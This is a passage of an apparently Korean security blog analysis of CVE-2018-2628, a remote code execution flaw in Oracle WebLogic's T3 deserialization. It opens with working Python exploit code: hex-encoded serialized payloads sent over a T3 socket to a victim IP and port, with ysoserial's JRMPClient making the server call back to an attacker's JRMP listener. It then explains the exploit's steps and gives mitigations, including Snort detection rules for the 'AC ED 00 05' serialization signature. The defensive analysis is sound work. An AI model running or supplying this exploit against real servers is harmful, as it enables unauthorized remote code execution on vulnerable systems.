def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 

- 실제 공격을 시도하는 exploit()은 크게 3부분으로 이루어짐

① 취약 서버와 T3 통신을 위한 소켓 sock 생성

② 서버 정보를 따로 저장한 변수와 sock을 이용해 T3 서비스와 연결 생성

③ 소켓 연결 후 ysoserial의 JRMPClient2 라이브러리를 사용해 RMI Connection 포트 1099 오픈 페이로드 생성 및 취약 서버에 페이로드 전송

[사진 10] exploit()

함수 설명
t3_handshake() 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수
build_t3_request_object() T3 서비스와 통신 후에 socket 연결을 맺는 함수
generate_payload() Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수
send_payload_objdata Weblogic Server에 Socket을 통해 Payload를 전송하는 함수

 

3. 대응방안

3.1 서버측면

① 최신 버전으로 업데이트 적용

② Weblogic Server 포트 변경

- Weblogic Server의 기본 포트 7001를 사용 중인 시스템이 대상이 되는 취약점

- 기본 포트를 사용할 경우에는 다른 포트로 변경하여 사용

- 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용

 

3.2 네트워크 측면

① 보안장비에 탐지 정책 적용

- 직렬화 데이터는 해당 데이터가 직렬화된 데이터라는 것을 알려주는 "ac ed 00 05"라는 시그니처를 가짐

[사진 11] ac ed 00 05

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established;content:"|AC ED 00 05|";content:”Registry”;fast_pattern:only;)

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established; content:”|AC ED 00 05|”; content:”InvocationHandler”; fast_pattern:only;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

- https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

https://www.exploit-db.com/exploits/44553

https://github.com/frohoff/ysoserial
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27186&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTgtMjYyOA== 

- https://teamsign.tistory.com/3

+ Recent posts